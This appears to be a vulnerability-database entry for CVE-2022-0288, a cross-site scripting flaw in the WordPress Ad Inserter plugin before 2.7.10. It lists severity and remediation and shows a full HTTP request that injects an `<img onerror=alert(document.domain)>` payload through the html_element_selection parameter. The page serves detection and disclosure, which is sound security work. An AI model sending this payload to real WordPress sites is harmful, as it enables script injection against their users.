🔙 목록으로 돌아가기

CVE-2022-0288: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting

TitleWordPress Ad Inserter <2.7.10 - Cross-Site Scripting
AuthorDhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser.
RemediationFixed in version 2.7.12
CVSS Score6.1
EPSS Score0.02178
CVE IDCVE-2022-0288
CWE IDCWE-79
Tags cve cve2022 wordpress xss wpscan ad_inserter_pro_project vkev vuln

🔍 Vulnerability Description

WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 74
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

html_element_selection=</script><img+src+onerror=alert(document.domain)>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0288.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0288.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A